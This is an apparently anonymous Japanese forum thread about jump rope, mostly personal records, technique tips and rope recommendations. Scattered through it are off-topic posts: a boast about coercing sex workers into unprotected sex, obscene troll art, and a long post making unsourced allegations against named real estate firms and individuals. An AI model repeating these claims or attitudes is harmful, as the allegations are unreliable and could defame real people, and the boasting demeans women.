メディア規制条項の盛込みに執着。
【民主党】党として人権擁護法案推進、郵政民営化反対
【公明党】太田昭宏(衆・東京12区) 冬柴鉄三(衆・兵庫8区)
東順治 (衆・九州比例区) 田畑正広(衆・大阪3区) >>275
いや、別に言っても構わないよ。274の意図は判らないけど。
187cmで70kg前後。
夏になって少し痩せたから、今は70切ってるかもしれない。
最近雨続きでなかなか出来ないなー >277
俺もアシックス製なわとびをつかっていて
週2〜3回なわとびを前後2重50〜100回、
前後3重1〜15回、その他などをやっている
(コンクリート上なのでそれくらいにしている)。
身長167で体重61で身長&体重を聞きたかったのは、
なわとびの技、回数、スピード、跳躍力において、
背が高い人、低い人、体重が軽い人、重い人などの
長所&短所を知りたかったこと。
例えば腕が長いほうが背面交差などに有利とかなど。 >>277
187cmで70kg切ってるってヤバくない?
アンガールズくらい? >>278
背面飛は基本的に苦手なんで何とも言えないけど
昔々の周囲の中では、交差は得意な方だったよ。
ただリーチが身長より長いせいもあると思う。
>>280
一応「痩せている」の範囲内。
・・・つーか、今アンガールズの身長体重調べたら187/58と180/53で、
俺より10kg近くも少なかったよ。
目安としては「身長ー体重≧120」辺りが痩せていると痩せすぎの境界らしい。 どうも
何かいいことあるの?の俺様が降臨しますた
そのセリフはね
風俗でよく使うのw
つまり新規で入って
「指名したら何かいいことあるの?
えーつまり生でやらしてくれる?」
とかに使うわけ
どうやらしいやろw
で何人も生姫をストックするわけね
でも飽きてきたらその子何回もいけんから
捨てるわけね
鬼でしょw
嫌な香具師て思われてると思うけど
しょうがない
同じ子ばかりいったら風俗の意味ないし
今年、アシナガバチ多すぎない?
めっちゃ怖い。
水鉄砲でも買おうかな。
100回ほど飛んで、逃げてきました。 近くに巣がなきゃ刺さないよ
今日おもいっきしスズメ蜂が飛んでるとこをひっぱたいてやった
週に2、3回 3000回跳んでます。
5ヶ月で10kg減量。いま72kg
筋肉はつかないですが脂肪は減った。
ジムに通うより安上がりでいいです。 週に2〜3の計が3000回?
1日約1000〜1500ってことすか? なんかええことあるの?
これはいつも使うわけではない
指名するに値する女だけに使う
つまり2割くらいかな
昨日の子には使ってない
今度いついくかわからないから
話題変更
腰痛餅は縄跳びできる?
しんどいよね
20分×3セット
5000回に到達した時点で、頭がヘブンになって計測不能になってしまった。
いわゆるランナーズハイって奴っぽい。 つかこのスレ見てちょっとショックを受けている
おれ二重とび200回できて今まで生きてきて敵なしだったのに・・
しかも世界記録が1万てまじかよ、すげえな
1000回目指してみるかな。。 「なわとび」でブログ検索すると結構引っかかる。意外と愛好家が多い模様。
>>300
安くて手軽で効果的だからね。みんなまいなわとびは持ってるよ。折れも愛好家。
孫にはもちろんヴェルタースオリジナル。 (・3・) エェー 三重飛び今まで最高5回しか飛べなかったけど今日チャレンジしてみたら30回飛べたYO >>1
すごいなぁ・・・。世界記録二重跳び10000跳べる人なんて居るんだぁ〜
すっげぇ。ちなみに三重跳び少ししか出来ないorz
二重跳び100回は出来るんだけど・・・ >>1
すげーな・・・・
なんか小4の縄跳び大会であやとび1247回
小5の縄跳び大会で1486回とんだことを誇りにおもってたことが馬鹿みたいだ・・・・
初めて書きます
私2重跳びができません。やれたといっても10回ぐらいです。
3回ぐらい連続でやりたいですけど、なかなかできなくて・・・。
簡単な方法なにかありませんかね。
あとはやぶさなんかもお願いします。 >>306
極力腕を動かさずに手首だけを使って縄を回すことかな。
はやぶさや交差二重の場合は特に重要。
腕が激しく動くと、回すスピードが遅くなるし疲れやすくなる。
ワキを締めて、手を腰の辺りに触れるか触れないかの位置において
出来るだけその位置から腕を動かさないように回すと良いと思う。 はやぶさ120回できた!
…ってこのスレは二重跳びのスレか? 質問です!!体力と脚力つけたいんで縄跳び始めたいんですけど、ただピョンピョン飛ぶ方法でいいんですか?ボクサー風なのとの違いはあるんですか? 久々に縄跳びをやろうと思うのですが、どなたか跳びやすい縄とか紹介して
くれませんか。 名人は、6重跳びとかやるときにすごい細いの使ってますよね。
俺は、ミズノの縄を使ってるけど・・・・ 今日ちょっと高めのなわを買ったんですけどなんか折りたたんであった時の癖がとれなくて
かなり飛びにくいです・・・・
ゴム製なんですけどいい直し方ってないですか?とりあえず伸ばしたり60度くらいのお湯に入れたりしました。無力。 >>315
飛びやすいのは知らないけど、
カウンター付きだと便利。
>>317、>>318ありがとうございました。参考にさせて頂きます。 >>319訂正します。名前は、未公開です。間違えてコピーしてしまいました。 前とびが出来ません!
皆さんアドバイスをお願いします!
はぁ?前とびがで、で、できないのか?
〜その1〜手首だけを回す。
〜その2〜つま先で跳ぶ。
〜その3〜自分の体と、縄のリズムを合わせる。
〜その4〜練習あるのみ。
以上。 2重跳びのわりに、後ろ2重ができないんですけれど、何かコツとかありますか?
教えて〜 (^o^) [1]ジャンプして空中で静止
[2]縄を二回まわす
[3]着地 3重跳びのコツッテナンデスカ?
4重跳びのコツッテナンデスカ?
交差2重(ツバメ、リットル)のコツッテナンデスカ?
できる人はアドバイスして〜〜〜〜!!!お願いします。_| ̄|○(土下座) >>324って後ろ2重のコツ?
>>324って後ろ2重のコツ? バカバカバカバカバカバカバカバカバカバカバカバカバカ 名人ってどんな縄使ってるの??????
教えてYO〜〜〜〜〜〜〜〜!!! <<329ごめん。(TT)あれは<<313と<<314に対して言った言葉です。
荒らしってむかつく(#j#) HGHGHGHGHGHGHGHGHGHGHGHGHGHGHGHGHGHG (\ /)っ
⊂、ヽ _____ (っノ
\\ ):::=o=< //
フゥ━━━ \ ヽ、/▼▼\//━━━ !!!!!
\ .):::V:::::::ノ ,/
[:H::|:G:ヾノ
|::::::|::::::く
と:::::::::::::::)
|/⌒ヾ/
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|__/\入
ノ:::::) ):::ゝ
(;;;;;/ ⊂ノ´
マンコマンコマンコマンコマンコマンコマンコマンコマンコマンコマンコマンコマンコマンコマンコマンコマンコマンコ はやぶさができません!
誰かアドバイスをお願いします。
あやとびは?
聞きたかった理由は、自分は2重跳び211回で、はやぶさは57回なので
どれくらいできるのか知りたかったからです。 志穂は、三重とびは最高11回。今いちよ、村上北小の3年生!!!!!
名人ってどんな縄使ってるの??????
教えてYO〜〜〜〜〜〜〜〜!!!
久しぶっす
あれから三重跳びを何回も練習しました。
八回しか出来ませんが、これからもっと挑戦していきたいです。
あと、後交差二重跳び出来る人ってすごいっすd(゚∀゚)b おいおいwwこのスレまだあったのかよw
俺がこのスレに初カキコしたのは3年前だぞw
4重まわし2回ならできる! そういえば交差二重のことゼロ戦って言ってたな
昔は出来たけど今はどうかな?
なわとびスレなんてあったんだ
オレは今日から始めたよ全然できなくなってたorz
昔、体育の授業でやった、一回転二跳躍(縄を一回回す間に二階ジャンプする)はできたけど
一回転三跳躍はできなかたorz
みんなできる? 都内に住んでるんですが、
なわとびをスポーツとしてかっこよく飛べるようになりたいです。
ボクサーが左右になわとびをまわしてるの見たりするとすごいと思います。
どこかスポーツ教室とかスポーツクラブとかで教えてくれるところあるんでしょうか?
なわとびの長さ調節のトコの止めぐのとり方教えてください!! tko社のハイスピードロープです
はじめまして 私は、二重跳び最高76回 三重跳びは5回に一回はできます
交差二重は2回ぐらい、ハヤブサは5回
後ろ二重は5回、まだまだです 今は連続三重跳びを練習しています
小5です はじめまして 私も小五です。 2重跳びは50回 はやぶさは3回
後ろ二重は10回…ぐらいです。(しょぼいっっ
鯰さん、すげぇーーッ それくらいできてたらクラスでトップでしょ?
同じ小五なのに。。これでもうちのクラスじゃぁ上手い方ですよ…(´A`)
毎日練習してるんですか?? 前ホームセンタームサシでチョー軽い白い縄を買ってきた
軽すぎて空気抵抗がかかりスピードがでなくてチョー跳びにくそうだがここ見てたら縄跳びやりたくなった <<361
ありがとう。
跳びかたから練習してみるよ みんなどこで縄跳びしてる?
縄の音が凄いからハズくて出来ないんだけど… 陸上競技のトレーニングに縄跳びを取り入れてやっています。 縄の長さってどれくらいがベストなのでしょうか? どなたか教えてください。ちなみに身長176cmの男性で、ジャンプ力はあんまりありません。 >>357
まずは二重跳び百回楽にできるようになってから三十跳びしなさい ちなみに久しぶりに軽くやってみた
二重跳び100回
後ろ二重51回
あや二重34回
交差二重39回
後ろあや二重30回
後ろ交差二重10回
駆け足二重20回
いやマジパワー吸われた
縄跳びってホントパワーいるよね なかなかほんわかしていいね、このスレ
自己記録載せときますね
前4重1回
前3重30回
前2重200回
後ろ3重10回
後ろ2重50回
前3重交差3回
地元じゃこのくらいで神扱いされたもんだ
サッカーができるのとかと違って自慢できたりかっこいいもんでもないのが寂しいものですね
ここになわとびが好きな方がいてうれしい気持ちです。
なわは意外と高いのより100円ショップで売ってる物のほうが飛びやすかったりしました。 挑戦したことないけど交差三重なんてよくできるね
三重でさえパワーいるのに交差にしたらもっとパワーいるだろうに
縄跳びできるやつってスポーツ万能じゃない?
靴は上履きで学校の廊下や昇降口は最高に跳びやすい(笑) >>368は僕です
ちなみに縄跳びはアシックスの定価800円くらいのやつ
重いからトレーニングには最適かな多分 前三重 70回くらい (小学校の時)やったな 周りも20〜30回くらいできる奴ごろごろおった
前四重 15回くらい(高校の時) でも後ろ系は全体的に苦手ですけどね。後三重とかだったら十数回しかできないと思います >>368
にウンチク垂れたいけど一応自分でも試してみるかー
と思って今朝方縄跳びやってきたが、全然交差三重出来なかった…orz
昔は連続20回ぐらい出来た俺の得意技だったのに…
無駄な力を入れず速く回せるように、ってフォームや縄の長さを色々
試してみたけど、どうにも巧くいかなかったな。 学生の頃はロン宙しながら後ろ二重飛びしてたよ
誰にも負けなかったな 縄跳び連公認の縄跳び買って来てやってみた
まぢでキツいね
まぢ難しい
何故か後ろ回しの方が多く跳べた
体重増やしたせいか100あたりで限界だ
二重跳び一万回とかアホか
どうなっとるんや ネタが多くなってきたので
このスレの終わりも近づいてきたわけだが ウイニングのヘビーロープ注文した。
早く来ないカナ♪ アシックスの91-121って良いですかね?買おうかなと思ってる
んだけど、使ってる人がいたら感想聞かせて下さい。
自分が求めてるのは、通常→サイドスイング→通常→クロス
等行える柔らかさと癖の無さ、三重、四重等回旋スピード
が十分出る重さと太さをを持ったロープです。
今、昔買ったレザーロープ使ってるんだけど、これだと硬くて
癖が強くてクロスとか出来ないもんで。
体絞るの目的で長時間跳ぶ場合、ステップとペースに変化
付けるだけじゃさすがに飽きるんで、色々バリエーション
付けられるロープも欲しいなと思い出した今日この頃です。 386です。
何の反応も無かったけど、とりあえず注文したよ。
月曜夕方に入手予定。 相変わらず誰もいないみたいだけど、保守がてら91-121の使用レポでも。
グリップ握りやすくて良い。
道具無しで長さ調節できるのが良い。
柔らかさや癖の無さもGood。
ロープはもうちょっと重量感があったほうが良いような気もするが
そうなると太くなるか質感が変わるかだろうから仕方ないのだろう。
ま、全体として気に入った。
4重跳びに成功する日もそう遠くない気がする。
AB型でバスケットとかやってたし意外と後ろに走るほうが楽で得意ですね
ただ縄跳び全然やってないっすよ(汗)
せっかく買って来たのに
コレジャイカンネ ヒラメ筋鍛えるのに縄跳びやろうと思うんですけど
100均の縄使うのと高い縄使うのだと何か違いある? 公式の奴買って来たけどぶっちゃけ縄の長さ以外変らないですね
キヤンドウのなわとびいいよねー。
安いし、細くてコンパクトだからどこでも持ち運びできる。 保守がてら参考サイト紹介
ttp://www.geocities.com/ropeskippingskills/ KJ3買った
ttp://www.asics.co.jp/products/athletecare/index_A1.html 現在最高のボクサーと言われているフロイド・メイウェザーJrさん(30)のなわとび
http://youtube.com/watch?v=HT8BnJhiEbY >>399
誤爆?
ところで、縄跳びが得意な人は垂直跳びや立ち幅跳びなどの記録も良いのでしょうか? なわとび懐かしいなぁ。
小学生のときだけど、前3重は30回。前4重は2回、前3重交差は10回未満ぐらいだったかな。
後ろ系は顔面に縄が当たるのが怖くてあまり出来なかった。。
垂直跳びや立ち幅跳びはあんまり得意じゃなかったよ。
握力や手首の力は飛びぬけてた気がする。小学生の時は測ったことなかったけど
中3のときは、握力64kgあった。縄跳びは手首が重要だと思うのはもれだけ? >>400
中学生の頃、四重跳び12回、五重跳び1回くらい出来てましたが、
走り幅跳びは5.1メートル、走り高跳びは1.5メートルくらいだったかな。
校内では上位のほうでしたが、陸上の大会とか出ると全然大したことなかったです。
垂直跳びや立ち幅跳びは、どうだったか覚えてません。
ちなみに、100メートル走は13秒台くらいであまり速くなかったです。
もっと運動能力の高い人が、本気で縄跳びに専念すれば、
鈴木勝己さんの記録くらい行けるんじゃないかなって気がする・・・ 162センチ95kのピザな俺だけど前と後ろの3重までなら余裕www
縄跳びは体重じゃないぜ! 小学生の子供が、クラスで長縄跳びをするのですが、
長縄をまわす時、手に巻いたほうがいいのでしょうか?
巻かないほうがいいのでしょうか?
先生は(おそらく安全の為でしょうが)
「巻かずにまわして」とおっしゃるそうですが、
巻かずに回すと、誰か引っかかったときに、
縄が手からすっぽ抜けてしまうようです。
巻く、巻かない、どちらが正しい長縄の持ち方なのか
教えてください >>406
誰かがひかかったときにまわしてる人が怪我するから巻かない方がいいと思います。 あや跳びのやり方教えれ。
おへその前で腕を交差してるんだが、
キレイな輪にならずにひっかかっちまう
タイミングが遅いのかと思い、色々試すうちに疲れ果てる・・・
こんな繰り返しの毎日だ 高く飛べば1、2回だけ縄を越せるようになったけど
どうにも不恰好だな・・・
・持ち手の端っこの方を人差し指を伸ばして持つ
・おへその前でなるべく深く交差させる
交差とびの練習した方が早いかな みなさんは交差サイクルあやサイクル
そくしんとび同時ジャンプ
等等
やったことありますか?
前とび301回 後とび250回 いや前とび50000回 前とび301回 後とび250回 いや前とび50000回 いやーほんとにお久しぶりです
一年ぶりです
僕は小6になりました
3重跳びが、15回跳べるようになりました
他にも背面交差20回背面交差2重跳び5回出来るようになりました
今もまだ練習に励む 今さっき跳んでた
3重跳びと背面交差を練習したまーそこそこ出来た
3重跳びのコツは個人的に脇を締めることを中心に
意識して思いっきり縄を回すことですかねー
皆さんはどうですか、教えて下さい 皆さんどうしたんですかー
それはさておき
さっき交差3重が跳べました
まだ一回ですが立って出来るようになったのでもう二回目は近いと思います
あと4重跳び系ができました
それは
SJJJです。これをいっぺんに跳びました
Sはサイドスイング Jは前跳びです
まー頑張ります
正月に縄跳びしたら、両方の膝痛めました。
それから屈伸をするたびに両膝から痛みとコキコキが鳴るようになり、病院行ったらレントゲンとって骨には異常はなく、炎症らしくって、ランナー膝と診断され湿布を処方されました。
いつになれば完治しますか? やりました
4重跳び跳べました やっとです
以前よりもっとジャンプしてグリップで回す
そうしたら出来ました
あと4重跳び系が出来ました
今度はSSJJです
SはサイドスイングJは前跳びです
なんか自分が中に浮いてるような錯覚が起こります
今度は
SSKJ
SKJJ
です練習頑張ります
あとSSJJの時
SSJJJができたような
出来てたら5重跳び系が出来たってことです
気のせいでしょうか やりました
SSJJJができました
5重跳び系です次は
連続4重跳びだ
頑張ろう そういえば縄って女縛りつけることにしか使ったことねぇなぁ・・・ 物理板住人のオレ、実験してる感覚でなわとびやってる。 なわとび世界記録
2重跳び10133回
3重跳び441回
4重跳び98回
5重跳び20回
6重跳び1回
えー信じられない・・
人間ですかー
体力がつけばできるのでしょうかー
ちなみに僕は
2重跳び107回(今やれば150回はいくかも)
3重跳び15回
4重跳び1回
比べものにならない悲しいほどに
まー同じ人間なんだから出来ない事はないと思う
4重跳び2回は出来ません
1回やるだけでも難しいのに2回以上なんてとても出来ない
まー頑張ろう 3重跳び17回跳べました
4重跳び跳んだ後立って出来るように練習中
3重跳びも頑張ろう 書き忘れた
ノスリと言う技が出来るようになった
ノスリ鳥ですハヤブサ系なので鳥です
ハヤブサの交差の時にどっちか一方の手がその手の反対側一方の足のしたにはいる
やーこれ出来るまでに1年かかった
縄跳びしてたら筋肉太りしませんか?(1日10分くらいペースで)痩せたいのでしようと思うんですが。 しないとおもうけど、時間はどれくらいがいいんだろう なわとび記録だいぶ更新した
2重跳び107回から130回
3重跳び17回から40回やったらかなりできた
これからも頑張る
すごいね^
俺は3重飛び6回が最高だ。
4重飛びなんてできるんかな。 アド街に鈴木さんが出ていたのでageておきますね
熱い人だ 2重跳び300回越えたいんで
明日から1キロ位を走って
少し体力ついたら
それを2キロぐらいにのばして
あと二重跳び総合700回跳びます
三重跳び総合200回跳んでみます
で体力ついたら二重跳び1000回
3重跳び総合400回跳びます!!!!!
できるか定かでない
絶対やりとげる!!!!!!! ゴメン3重跳びやると膝痛めそうだから
2重跳びだけにして
すいませんでした 縄跳びって筋力(どこの?)つくんですか?
持久力はつくでしょうけど、胃下垂になりませんか? 主に足腰の筋力がつくと思いますが、
二重跳び以上の技をやれば、
腕にも、かなりの負荷がかかるので
腕も鍛えられるのではないでしょうか?
基本的に縄跳びは「全身運動」と言いますからね。
胃下垂については、どうなのか知りません。 4重跳び2回できた
嬉しかった
全ての記録は
1重 700回(やればこのくらいけると思う)
2重跳び 150回
3重跳び 40回
4重跳び 2回
いま交差3重と5重跳びを練習中
5重跳びかなり難しい
ワイヤーロープが欲しい
もちろん連続記録もぬりかえる
頑張る
俺も2ジュウトビ150回できるけど自慢になるのか? 覗いてみたら、住人の縄跳びのレベルの高さにビビた!w
自分は先週から、ダイエットと健康の為に、縄跳びを始めて毎日してるんだが、1日1000〜2000回でダウソするorz
二重、三重跳びなんて自分には到底ムリです!
縄跳び続けて痩せた人いる?回数など参考にしたいんだが。 現役高1です。自分も参加したくなったのでw
記録は・・・3重跳び83回、4重跳び13回、5重跳び1回です。
ちなみに、コンクリートで縄跳びをずっと跳ぶのは足を痛めるのでよしたほうがいいです。
体育館など、下が柔らかいところでやるように 443さんってユーチューブで見たことあるなぁ。
俺の記録は体育館で1分間以内に前2重最高115回、同じく後2重100回
(あえて100回で止めておいた)、あとはタイム計らずに前3重25〜30回、
後3重10回(これもあえて)、前4重1回→3重(2重かな?)1回
などをinfとびなわで跳べた。小中の頃の体育の成績は
5段階中1〜2で悪かったけど、縄跳びや筋トレをやり始めて
コンプレックスをそれなりに克服にした。
ほぼ無理だと思うけど、前5重もできるようになりたい。
最近はジャンピングパネルにハマっている。
最後に、なわとびって奥が深いんだよなぁ。
うまい人を見ていると、ジャンパーっていうよりも縄術
の使い手と表現したくなる。 ・・
・・・・ みんなレベル高いな…
とりあえず2重跳び50回目指す みんな三重飛びよく出来るな
二重なら200行けるが三重は10行けばいい方だわ 自分が若い頃やっていた方法は三重跳びを五十回跳んで三十秒休む、これを10〜50セットやる
大体ワンセットの所要時間は一分くらいなのでよいインターバルトレーニングになります。 日頃の運動不足を解消するために中学以来のなわとび復活させようとしてるんだが
昔使ってたようななわとびが近所で見つからなくて困ってます
現在25歳ですが10年前くらいに文房具屋やスーパーなどで売ってる安いなわとびで
いいのだが見つからずグリップが重たそうなのしか売ってない
みなさんどの縄を使ってるのか気になるので教えて・・・軽いのがいいのです >450
自分はINF縄跳びを使ってます。
運動不足のためなら文房具屋で売ってるもので充分ですが跳びやすさではINFのほうがいいです。
でも高いしねぇ。。。
そんなにグリップ重いのしか売ってませんか? 二重飛び20回。
始めはダイエットが目的だったけど今ではなわとびが趣味に 二重飛び110回
三重飛び25回
四重飛び2回できる
小学校の時は一番か2番くらいにうまかったけどやっぱ上には上がいるな 小学校2年生の頃は二重跳び100回越えてたのに、19歳の今は40〜50回が限度…
鍛え直そうかなぁ 今は高校野球やってるんですが、昔やってた縄跳びも、またはじめようと思うんですが、
INFのは何円くらいで売っているのでしょうか?後、どおゆう店に売っているの
でしょうか? <過去最高記録>(昭和56年、57年に計測)
連続飛び 5分 (12歳) この時以外、一分以上飛べた事はほとんど無い
二重飛び 645回(13歳) 唯一小学校卒業後の計測、連続飛びより長く飛んでるw
三重飛び 65回 (12歳) 若干数字の記憶が怪しい気がするが大きな誤差は無い筈
四重飛び 1回 (12歳) >>456の人、三重飛び25回で二回目を飛べるのは凄い
当時競技縄跳びがあったら、やってみたかった。 体育の日に市のスポーツイベントで子供に混じって縄跳びをして来ました。
本格的な大会ではないので、全て単純な時間飛びです。
子供だけならともかく、同世代と思しきお父さん達とは本気で競います。
実は主催者からの賑わい要員である私も手は抜けません。
結果は大人気なくも優勝をさらって来ました、空気なんぞ読む気はありませんw
今年を皮切りに還暦まで勝ち続ける予定です。(もう来るなと言われるな)
ちゅうか百回も飛んでないのに、なんで子供が誰も着いて来ないんだよ。
最近の小学生はあまり縄跳びをしないのかな?
<今回の記録>
連続飛び 20秒 想定の範囲内、元々苦手
後ろ飛び 40秒 靴紐が解けて終了
二重飛び 1分 これで優勝、多分80回位かな?少年少女の奮起を望む
三重飛び 5回 個人的に飛んでみた、無駄なくギリギリで飛ぶ感覚が掴めない
交通事故の怪我明けで普通の生活も出来ていなかったので、こんな物と言うより
少し無理をしたと言っても良いレベル、27年ぶりの四十歳にしては上出来かな。
しかし四重飛びまで加速して行けない自分には納得し難い。
来年は二重飛びを500回飛んでやる!(顰蹙を買わない様に子供の部と分けてくれたら) ポリウレタン系、ポリスチレン、ポリエチレン、PCV、アクリル、ナイロン、
ポリウレタンチューブ内にステンレスの鎖、等々。
お店に色々な材質の物があったので帰宅後にググッたら、結構沢山の種類が出てきた。
スピード系や三重飛び以上の記録に挑戦するなら金属入りとかになるのかなあ。
それぞれの特性が分かるサイトを探してるんだけど、なかなか見付からない。
JRSFのページを見たら、プラコートされたワイヤーその物まであるんだね。 皆さんすごいですね。
僕の場合は
二重跳び 314回
三重跳び 26回
四重跳び 2回
五重跳び 1回
このスレを見て再び魂に火が付きました。
感謝します!!。 >>463
私も小六の終わりまで二重跳びはそんなモンでした。
それが中一の春には約二倍に記録を伸ばせました。
その間はまったく練習をしていなかったので、成長期の体力向上のなせる所だったのでしょう。
>>456さんや>>463さんの記録は、二重跳び三重跳びの記録と較べて四重跳び以上の記録が
アンバランス(失礼)なくらい良いと思います。
三重跳びは60回以上跳べても四重跳びの二回目が跳べなかった私よりも、上の次元ですね。
本来の力を発揮すれば二重跳びと三重跳びは、現在の倍以上飛べるポテンシャルをお持ちでは
ないでしょうか。
四重跳びを複数回・五重跳びにも成功しているのならば、二重跳び千回・三重跳び百回程度なら
現状の体力でも十分可能に思えます。 四十過ぎの俺が小学校時代に縄跳びを教わった縄跳びチャンピオン鈴木勝己さん。
当時既に今の俺くらいだった筈なのに、老境に入っても信じられない身体能力。
縄跳びが凄いのは当然として、65歳の時に100m走が12秒1って超人か!? youtubeで見れるタイソンみたいなステップって難しいの?
マシンスペック低くてスムーズな画が見れないんだけど。。 綾飛びの二重飛びのこと、今でもはやぶさって言うのかな? なわとびはすごい楽しいスポーツ
http://www.jrsf.jp/trick/tricksheet.html
上をみると色々載ってる
僕もすっかりハマってしまいました
最近やってないから衰えてるw
できてくると結構たのしいよね^^ 今日からなわとびはじめました
かなりきついですねー
20回でダウンです
軽々跳べるようになるまで頑張ります! 今日は50回跳べたー
でもへたくそで引っ掛かってばっかりです みなさんこんにちわ
僕はメイウェザールーティン完コピ目指します
それにしてもこれだ!って縄がみつからないなぁ やりたいんだけど住宅地だから、昼夜を問わず音が気になって中々出来ない。 ゼロゼロ物件業者・シンエイエステート(佐々木哲也、東京都知事(7)第45072号、更新して東京都知事免許(8)第45072号)とグリーンウッド(吉野敏和)が宅地建物取引業法違反で東京都から業務停止処分を受けた。
重要事項説明義務違反や賃貸借契約書に記載なく退室立会費を徴収していた。
これは宅地建物取引業法第35条第1項(重要事項説明書の不記載)及び第37条第2項第3号(賃貸借契約書の不記載)違反になる。
※東京都都市整備局「宅地建物取引業者に対する行政処分について」2010年6月8日
シンエイエステートとNPO法人オアシスらんどの関係は?
明星大学はシンエイエステートのカモにされていると指摘された。
グリーンウッドはアトラス(東京都知事(1)第93815号、中西真琴)となってゼロゼロ物件の営業を続けたが、姑息な手法に消費者の批判が増大した。
グリーンウッド(アトラス)のあったニューステイトメナービル1328号室は賃貸に出されている。物件登録日は2013/06/27である。
賃料8万円 管理費0円 敷金1ヶ月 礼金1ヶ月 敷引金1ヶ月 面積25.20m2 間取り1R
商売をしている人にとって宅地建物取引業法違反のゼロゼロ物件業者の事務所だった場所は事故物件と同じようなものでしょうか
ニューステイトメナービル(ブラック物件、心理的瑕疵物件)は事故物件です。2012年9月18日午後8時頃、ニューステイトメナービル屋上から肥満型、年齢30歳から40歳くらいの男性が全裸でフェンスを乗り越え、飛び降りた。全身打撲、ほぼ即死状態。
吉野健太郎の連邦には社会問題になっている脱法ハーブ店「吉祥寺のハーブショップ ART TRICK 吉祥寺店」「合法ハーブ リキッド専門店 REGARDS大宮店」の広告リンクがある。
REGARDSでは薬事法の指定薬物を含む違法薬物を販売していた(千葉県「指定薬物を含有する違法ドラッグの発見について」2012年8月1日)。
輸入雑貨店REGARDSには熊谷店や所沢店、錦糸町店などがある。REGARDS錦糸町店は脱法ハーブ店「神輿 -354-」と同じ住所、同じ電話番号である。姉妹店に「宴-Fiesta-」「梵神-BONG JING-」「FeS〜祭」「HOTSPICE」「HOTDEEJAY」がある。
吉野健太郎は不正B-CASカードでデジタル有料放送を視聴するという違法行為も告白している。
吉野健太郎は慶応大学生サークルの「うけるブログセミナー」で感情失禁事件を起こした。 3ヶ月ほど前からなわとびにはまり出来なかった二重跳びが20回ほどできるようになりました クラスチャンピオンに輝いたなわとび王者の俺が来ました 学校チャンピオンに輝いたなわとび王者の俺も来ました
30年以上前だけどな >>1
> なわとびについてのスレッド。
なんだ、この歴史のあるスレ…
15年前って ☆ 日本人の婚姻数と出生数を増やしましょう。そのためには、公的年金と生活保護
を段階的に廃止して、満18歳以上の日本人全員に支給する、『ベーシックインカム』
の導入は必須です。月額約70000円位ならば、廃止すれば財源的には可能です。
ベーシックインカム、でぜひググってみてください。お願い致します。♪♪ 縄の長さは身長+55cmが目安らしい
しかし183cmの私が+55cmでいいと思い240cmのなわとび買ったら飛べません
こんな短い縄ではアスリートじゃなきゃ無理
運動不足解消にと日頃運動してない中年が買って飛べる長さじゃないです
よくこんな基準を発表してるなと関心するわ
3mの縄を買って切って使ってます >>512
フリースタイルやってるから少し普通の人より経験が有るんだけど、エスパーで答えると持ち手が長い物を使ってませんか?
持ち手が20センチ位有る長い物だと、握ってる所から持ち手が10センチ位出てるはず。
その長さも考えて+10〜20は必要。 >>502語る内容無いんだろ
今日は3ラウンドやった
団地のグランドの一部でやってるんだが年寄がジロジロ見てくる NHK教育を見て63153倍賢くけん玉vsなわとび 高校生のときは三重跳び20回跳べたが今は全く飛べない。最近のベストは二重跳び66回。 二重飛びは何秒くらいつづいたら長めにできる人ってことになりますかね
今のところ30秒が限界です NHK教育を見て67546倍賢く木曜日 体育の助2重とび スマートウオッチの運動種目に縄跳びあったので最近やってますよ
1日千回目標! てかここ20年前のスレやん。。
誰も来そうにない。。 スマホで回数カウントしてるけど、だいぶズレがあるなあ
まあ回数はだいたいでいいか 最近はウォーキングで消費カロリーを稼いでたけどまた縄跳びで稼ぐことになりそう